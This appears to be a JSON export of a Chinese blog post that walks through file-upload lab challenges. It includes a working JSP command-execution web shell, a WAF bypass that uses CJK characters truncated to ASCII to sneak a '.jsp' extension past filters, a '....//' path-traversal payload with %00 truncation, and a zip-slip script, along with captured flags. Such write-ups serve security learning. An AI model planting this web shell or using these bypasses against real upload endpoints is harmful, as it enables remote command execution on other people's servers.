{"id":436,"date":"2026-06-26T20:10:31","date_gmt":"2026-06-26T12:10:31","guid":{"rendered":"https:\/\/blog.lmoon.cn\/?p=436"},"modified":"2026-06-26T20:10:32","modified_gmt":"2026-06-26T12:10:32","slug":"%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0%e7%bb%83%e4%b9%a04","status":"publish","type":"post","link":"https:\/\/blog.lmoon.cn\/index.php\/2026\/06\/26\/%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0%e7%bb%83%e4%b9%a04\/","title":{"rendered":"\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e604"},"content":{"rendered":"\n

\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e60<\/h2>\n\n\n\n

1.Ghost Bits Waf\u7ed5\u8fc7 \u6587\u4ef6\u4e0a\u4f20<\/h2>\n\n\n\n

\u6253\u5f00\u73af\u5883\uff0c\u4e00\u5f00\u59cb\u4ee5\u4e3a\u8fd8\u662fphp\u7684\u7c7b\u578b\u4e0a\u4f20\u4e8e\u662f\u4e00\u76f4\u5728\u5c1d\u8bd5\u4e0a\u4f20php\uff0c\u4f46\u662f\u540e\u9762\u53d1\u73b0\u4e0d\u5bf9\u65e0\u8bba\u5982\u4f55\u53d8\u4ed6\u7684\u5185\u5bb9\uff0c\u867d\u7136\u53ef\u4ee5\u8fdb\u884c\u4e0a\u4f20\u4f46\u662f\u5185\u5bb9\u6211\u65e0\u6cd5\u6267\u884c\uff0c\u4e00\u76f4\u4ee5\u6587\u672c\u7684\u5f62\u5f0f\u8fdb\u884c\u56de\u663e\uff0c\u7136\u540e\u641c\u7d22\u5f97\u77e5\u8fd9\u4e2a\u9898\u76ee\u662f\u4e00\u5171java\u7684\u4e0a\u4f20\u73af\u5883\uff0c\u524d\u7aef\u4f7f\u7528\u7684\u662fjsp\u6587\u4ef6\uff0c\u5c1d\u8bd5\u4e0a\u4f20\u9a8c\u8bc1\u65f6\u53d1\u73b0\u786e\u5b9e\u662f<\/p>\n\n\n\n

\"image-20260626131322635\"\/<\/div><\/figure>\n\n\n\n

\u7136\u540e\u8fd8\u6709\u4e00\u79cd\u65b9\u5f0f\u5c31\u662f\u6784\u9020500\uff0c\u67e5\u770b\u56de\u663e\uff0c\u53d1\u73b0\u662f\u5229\u7528java\u8bed\u8a00\u5199\u7684\u4e5f\u53ef\u4ee5\u518d\u6b21\u8ba4\u8bc1\u8fd9\u4e2a\u4e0a\u4f20\u6587\u4ef6\u9700\u8981\u6784\u9020jsp\u4ee5\u53ca\u5bf9\u5e94\u7684\u6267\u884c\u8bed\u53e5\uff0c\u5bf9\u4e8e\u5176\u4e2d\u7684\u6267\u884c\u4e00\u53e5\u6211\u5c1d\u8bd5\u4e86\u5f88\u591a\u7684\u65b9\u5f0f\u53bb\u8fde\u63a5\u8681\u5251\u4f46\u662f\u6700\u540e\u90fd\u65e0\u6cd5\u8fde\u63a5\u6210\u529f\u4e0d\u662f\u8fd4\u56de\u7a7a\uff0c\u5c31\u662f\u62a5\u9519\u3002\u540e\u9762\u662f\u5229\u7528\u7684hackbar\u8fdb\u884c\u7684\u6267\u884c\u6267\u884c\u547d\u4ee4\u8bed\u53e5\u6765\u8fdb\u884c\u505a\u7684<\/p>\n\n\n\n

\u6784\u9020\u7684\u6784\u9020\u7684\u6267\u884c\u8bed\u53e5\u4e3a<\/p>\n\n\n\n

<%@ page import=\"java.io.*\" %>\n<%\n    String cmd = request.getParameter\u200b\u200b(\"cmd\");\n    if \u200b\u200b(cmd != null) {\n        try {\n            ProcessBuilder pb = new ProcessBuilder\u200b\u200b(cmd.split\u200b\u200b(\" \"));\n            pb.redirectErrorStream\u200b\u200b(true);\n            Process p = pb.start\u200b\u200b();\n            BufferedReader r = new BufferedReader\u200b\u200b(new InputStreamReader\u200b\u200b(p.getInputStream\u200b\u200b()));\n            String line;\n            while \u200b\u200b(\u200b\u200b(line = r.readLine\u200b\u200b()) != null) {\n                out.println\u200b\u200b(line);\n            }\n        } catch \u200b\u200b(Exception e) {\n            out.println\u200b\u200b(\"Error: \" + e);\n        }\n    }\n%><\/code><\/pre>\n\n\n\n
\u8fd8\u6709\u4e00\u70b9\u5c31\u662fjava\u4e0d\u50cf\u662fphp\u5176\u540e\u7f00\u65e0\u8bba\u5982\u4f55\u53d8\u53ea\u8981\u5927\u9898\u4e0d\u53d8\u90fd\u53ef\u4ee5\u88abphp\u7684\u89e3\u91ca\u5668\u8fdb\u884c\u89e3\u6790\u7136\u540e\u6267\u884c\uff0c\u4f46\u662fjava\u4e0d\u662fjava\u7684\u903b\u8f91\u662f\u8def\u5f84\u6620\u5c04\uff0c\u53ea\u8981\u4f60\u4e0d\u5339\u914d mapping\uff0c\u5c31\u4e0d\u4f1a\u6267\u884c JSP \u5f15\u64ce\u3002\u6240\u4ee5\u53ea\u8981jsp\u540e\u7f00\u624d\u53ef\u4ee5\u88ab\u6267\u884c\u3002<\/p>\n\n\n\n
\u7136\u540e\u56e0\u4e3a<\/p>\n\n\n\n
Java\u7684char\u662f16\u4f4dunicode\u7f16\u7801\uff0cbyte\u662f8\u4f4d\uff0c\u5f53\u4ee3\u7801\u5199\u6210 \u200b\u200b(byte) ch \u65f6\uff0c\u672c\u8d28\u662f\u5728\u505a\u4e00\u6b21\u4ece 16 \u4f4d\u5230 8 \u4f4d\u7684\u622a\u65ad\u3002 \u4f8b\u5982\uff1a\u201c\u966a\u201d\u8fd9\u4e2a\u6c49\u5b57\u7684unicode\u7f16\u7801\u4e3aU+966A\uff0c\u5bf9\u5e94\u5341\u516d\u8fdb\u5236\u4e3a0x996A\uff0c\u5f53\u8fdb\u884cbyte\u8f6c\u6362\u65f6\u4f1a\u820d\u5f03\u9ad88\u4f4d\uff0c\u4fdd\u7559\u4f4e8\u4f4d\u3002\u90a3\u4e48\u201c\u966a\u201d\u53d8\u6210\u4e860x6A\u5bf9\u5e94\u7684ASCII\u7801\u4e3a\u5b57\u6bcd\u2018j\u2019\u3002<\/p>\n\n\n\n
\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u966a\u6765\u4ee3\u66ffj,\u5e94\u8be5\u8fd8\u53ef\u4ee5\u5229\u7528\u5176\u4ed6\u6c49\u5b57\u53ef\u4ee5\u4ee3\u66ff\u53e6\u5916\u4e24\u4e2a<\/p>\n\n\n\n
p\u7684ASCII\u7684\u503c\u4e3a0x70\nS\u7684ASCII\u7684\u503c\u4e3a0x73\n\n\u5c0f\u7aef\u5e8f\uff0cLE\n\u7070\t\u7684UTF-16\u4e3a0x70 0x70\t\u4f4e\u4f4d\u4e3a0x70\n\u7073   \u7684UTF-16\u4e3a0x70 0x73   \u4f4e\u4f4d\u4f4d0x73\n<\/code><\/pre>\n\n\n\n
\"image-20260626134715571\"\/<\/div><\/figure>\n\n\n\n
\"image-20260626134751830\"\/<\/div><\/figure>\n\n\n\n
\u53d1\u73b0\u786e\u5b9e\u53ef\u4ee5\u3002\u7136\u540e\u5229\u7528hackbar\uff0c\u6267\u884c\u547d\u4ee4\u83b7\u53d6flag<\/p>\n\n\n\n
\"image-20260626134850268\"\/<\/div><\/figure>\n\n\n\n
fl\u200b\u200bag{3cbdb3e2a0fd4d41a173582ab566a182} <\/code><\/pre>\n\n\n\n
\u9759\u6001\u7f51\u7ad9\u600e\u4e48\u6253<\/h2>\n\n\n\n
\u8fd9\u4e2a\u4e00\u5f00\u59cb\u53ef\u80fd\u4f1a\u6709\u4e9b\u4e0d\u52a8\uff0c\u4f46\u662f\u628a\u5176\u4ed6\u7684\u514d\u8d39\u7684\u9776\u673a\u5237\u5b8c\u5c31\u53ef\u4ee5\u7406\u89e3\u4e86\u3002<\/p>\n\n\n\n
\u6253\u5f00\u4e4b\u540e\u53d1\u73b0\u6ca1\u6709\u4e0a\u4f20\u5165\u53e3\uff0c\u5c1d\u8bd5\u5728\u7ad9\u70b9\u540e\u8f93\u5165\uff0ctmp\/f\u200b\u200blag\u3002\u53d1\u73b0\u6ca1\u6709\u7528\u7136\u540e\u70b9\u51fb\u9996\u9875\u53d1\u73b0\u4e00\u4e2a\u7f51\u7ad9\u4e2d\u7684\u4e00\u4e2a\u5bfc\u5411page\uff0c\u4e8e\u662f\u5229\u7528\u53cc\u5199\u7ed5\u8fc7\u5c1d\u8bd5\u4e00\u5f00\u59cb\u6ca1\u6709\u51fa\u6765\u5e94\u4e3a\u6211\u6ca1\u6709\u8fdb\u884c%00\u622a\u65ad\uff0c\u5bfc\u81f4\u4ed6\u6ca1\u6709\u7ec8\u6b62\u70b9,\u8f93\u5165\u622a\u65ad\u70b9%00\u65f6\u5c31\u4f1a\u51fa\u73b0flag<\/p>\n\n\n\n
....\/\/....\/\/....\/\/....\/\/....\/\/tmp\/f\u200b\u200blag,txt<\/code><\/pre>\n\n\n\n
\"image-20260626135620109\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u5c31\u662f\u5229\u7528dirsarch\u8fdb\u884c\u626b\u63cf\u5f97\u5230\u4e00\u4e2a\u7ba1\u7406\u5458\u540e\u53f0\u548c\u4e00\u4e2a \/Dockerfile<\/p>\n\n\n\n
\"image-20260626193121306\"\/<\/div><\/figure>\n\n\n\n
\"image-20260626193139505\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u8bbf\u95eeDockerfile\u5f97\u5230\u8d26\u53f7\u5bc6\u7801<\/p>\n\n\n\n
\"image-20260626193222350\"\/<\/div><\/figure>\n\n\n\n
\u767b\u5f55\u4e4b\u540e\u53d1\u73b0\u4e00\u4e2a\u6587\u4ef6\u4e0a\u4f20\u70b9<\/p>\n\n\n\n
\"image-20260626193429826\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u5bf9\u4e8e\u8fd9\u4e2a\u6587\u4ef6\u4e0a\u4f20\u70b9\u53c8\u6709\u4e00\u4e2a\u77e5\u8bc6\u70b9\u5c31\u662f\u4ed6\u662f\u81ea\u52a8\u4f1a\u90e8\u7f72\u4f60\u4e0a\u4f20\u7684\u6587\u4ef6\uff0c\u4f46\u662f\u4e0d\u662f\u5728\u66f4\u76ee\u5f55.\u6240\u4ee5\u6211\u4eec\u8981\u5229\u7528\u6211\u4eec\u5728\u6211\u4eec\u7684\u538b\u7f29\u5305\u4f7f\u5176\u89e3\u5440\u7684\u65f6\u5019\u81ea\u52a8\u89e3\u538b\u5230\u6587\u4ef6\u6839\u76ee\u5f55\u4e5f\u5c31\u662f\u76ee\u5f55\u7a7f\u8d8a<\/p>\n\n\n\n
import zipfile\n\nphp = ''''''\n\nwith zipfile.ZipFile\u200b\u200b(\"1.zip\", \"w\", zipfile.ZIP_DEFLATED) as z:\n    z.writestr\u200b\u200b(\"..\/get_flag.p\u200b\u200bhp\", php)\n<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u7684 z.writestr\u200b\u200b(“..\/get_flag.p\u200b\u200bhp”, php)\u5c31\u662f..\/get_flag.p\u200b\u200bhp\u5c31\u662f\u4e00\u4e2a\u76ee\u5f55\u7a7f\u8d8a\uff0c\u7136\u540e\u8bbf\u95ee\u5f97\u5230flag\uff0c\u5bf9\u4e8e\u4e3a\u4ec0\u4e48\u53ea\u7a7f\u8d8a\u4e00\u6b21\u5bf9\u4e8e\u89e3\u9898\u6765\u8bf4\u5e94\u8be5\u53ea\u80fd\u4e00\u4e2a\u4e00\u4e2a\u8bd5\u4e86\u5e94\u4e3a..\/…\/\u4f1a\u88ab\u91cd\u5b9a\u5411\u5230\u9996\u9875<\/p>\n\n\n\n
\"image-20260626194703962\"\/<\/div><\/figure>\n\n\n\n
fl\u200b\u200bag{dad2c46f615a47b6b0aaecc10c5caeeb}<\/code><\/pre>\n\n\n\n
\u6d4b\u8bd5\u540e\u53d1\u73b0\u4e0a\u4f20\u7684\u76ee\u5f55\u4f4dupload,\u6240\u4ee5\u9700\u8981\u4e00\u6b21\u76ee\u5f55\u7a7f\u8d8a\u5c31\u884c\u4e86\uff0c\u4f46\u662f\u5728\u771f\u6b63\u505a\u9898\u7684\u65f6\u5019\u8fd8\u662f\u9700\u8981\u8fdb\u884c\u731c\u5e94\u4e3a\u8fd9\u4e2a\u9776\u573a\u65e0\u6cd5\u8fdb\u884c\u8bbf\u95eeupload\u8fd9\u4e2a\u76ee\u5f55<\/p>\n","protected":false},"excerpt":{"rendered":"
\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e60 1.Ghost Bits Waf\u7ed5\u8fc7 \u6587\u4ef6\u4e0a\u4f20 \u6253\u5f00\u73af\u5883\uff0c\u4e00\u5f00\u59cb\u4ee5\u4e3a\u8fd8\u662fphp\u7684\u7c7b\u578b\u4e0a\u4f20\u4e8e\u662f\u4e00\u76f4 […]<\/p>\n","protected":false},"author":1,"featured_media":385,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-436","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn"],"_links":{"self":[{"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/posts\/436","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/comments?post=436"}],"version-history":[{"count":2,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/posts\/436\/revisions"}],"predecessor-version":[{"id":438,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/posts\/436\/revisions\/438"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/media\/385"}],"wp:attachment":[{"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/media?parent=436"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/categories?post=436"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/tags?post=436"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}